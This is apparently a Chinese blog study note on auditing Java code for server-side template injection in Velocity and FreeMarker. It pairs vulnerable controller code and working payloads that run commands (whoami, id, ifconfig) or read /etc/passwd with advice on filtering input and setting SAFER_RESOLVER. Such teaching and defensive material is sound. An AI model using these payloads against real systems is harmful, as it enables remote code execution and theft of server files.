当前位置:首页 » 《随便一记》 » 正文

学习笔记-java代码审计-ssti

29 人参与  2022年11月13日 17:15  分类 : 《随便一记》  评论

点击全文阅读


java代码审计-ssti

0x01漏洞挖掘

Velocity

@RequestMapping("/ssti/velocity")public String velocity(@RequestParam(name = "content") String content) {    Velocity.init();    VelocityContext velocityContext = new VelocityContext();    velocityContext.put("username", "seaii");    StringWriter stringWriter = new StringWriter();    Velocity.evaluate(velocityContext, stringWriter, "test", content);    return stringWriter.toString();}

利用方式:

#set ($exp = "exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")

FreeMarker

@RequestMapping("/ssti/freemarker")public String freemarker() throws IOException, TemplateException {    Configuration configuration = new Configuration(Configuration.VERSION_2_3_23);    configuration.setClassForTemplateLoading(this.getClass(), "/templates");    Template template = configuration.getTemplate("test.ftl");    Map<String, Object> rootMap = new HashMap<String, Object>();    rootMap.put("username", "passwd");    StringWriter stringWriter = new StringWriter();    template.process(rootMap, stringWriter);    return stringWriter.toString();}

freemarker与velocity的攻击方式不太一样,freemarker可利用的点在于模版语法本身,直接渲染用户输入payload会被转码而失效,所以一般的利用场景为上传或者修改模版文件。

利用方式如下:

命令执行1:

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

命令执行2:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.ProcessBuilder","ifconfig").start().getInputStream())) >        <#list 1..10000 as t>    <#assign line=br.readLine()!"null">    <#if line=="null">        <#break>    </#if>    ${line}    ${"<br>"}</#list>

文件读取:

<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> <#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.io.FileInputStream","/etc/passwd"))) >        <#list 1..10000 as t>    <#assign line=br.readLine()!"null">    <#if line=="null">        <#break>    </#if>    ${line?html}    ${"<br>"}</#list>

将上面的payload写入到模版文件保存,然后让freemarker加载即可。

0x02漏洞防御

Velocity

velocity到目前最新版本也没有提供沙盒或者防御方式,只能禁止或严格过滤用户输入进入Velocity.evaluate

FreeMarker

最简单的方式是使用TemplateClassResolver,文档在这:

https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html

可根据实际需求选择这两种方式,代码实现如下:

configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

但这并不是一劳永逸的防御方式,如果配置不当,依然会造成安全问题:

Freemarker模板注入 Bypass

0x03参考链接

服务端模板注入:现代WEB远程代码执行(补充翻译和扩展)

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

Freemarker模板注入 Bypass

点击关注,共同学习!安全狗的自我修养

github haidragon

https://github.com/haidragon


点击全文阅读


本文链接:http://zhangshiyu.com/post/48214.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • (番外)+(结局)也曾偷藏欢喜结局+番外(乔喜商凛乔雪眠)完结_(也曾偷藏欢喜结局+番外)列表_笔趣阁(乔喜商凛乔雪眠)
  • (番外)+(全书)也曾偷藏欢喜结局+番外(乔喜商凛乔雪眠)完结_(也曾偷藏欢喜结局+番外)列表_笔趣阁(乔喜商凛乔雪眠)
  • 「宗门诬陷要杀我,出走后你们后悔什么!」章节世界观揭秘篇‌_陈宇小说精彩节选免费试读
  • [权宠天下:疯批王爷神医妃]关键剧情节选解锁_[凤无心北辰夜]后续全文免费阅读
  • 捧一片星空新鲜出炉林溪傅迟宴完本_捧一片星空新鲜出炉(林溪傅迟宴)
  • 她在春日里沉眠高口碑(乔清瑜季泽珩)
  • 半堂花夜渡空城裴砚泽沈诺柠结局+番外(裴砚泽沈诺柠)_(半堂花夜渡空城裴砚泽沈诺柠结局+番外)列表_笔趣阁(裴砚泽沈诺柠)
  • 半堂花夜渡空城精编之作(裴砚泽沈诺柠)全书免费_(裴砚泽沈诺柠)半堂花夜渡空城精编之作后续(裴砚泽沈诺柠)
  • 半堂花夜渡空城结局+番外(裴砚泽沈诺柠)_(半堂花夜渡空城结局+番外)列表_笔趣阁(裴砚泽沈诺柠)
  • (番外)+(全书)顾裴延江照璃(长叹雁归难留+后续+结局)_顾裴延江照璃免费列表_笔趣阁(长叹雁归难留+后续+结局)
  • 全书浏览九幽不渡卿结局+番外(孟卿卿谢昭远)_九幽不渡卿结局+番外(孟卿卿谢昭远)全书结局
  • 往梦难复温+后续+结局(沈淮霆宋思予)_(沈淮霆宋思予)往梦难复温+后续+结局列表_笔趣阁(沈淮霆宋思予)

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1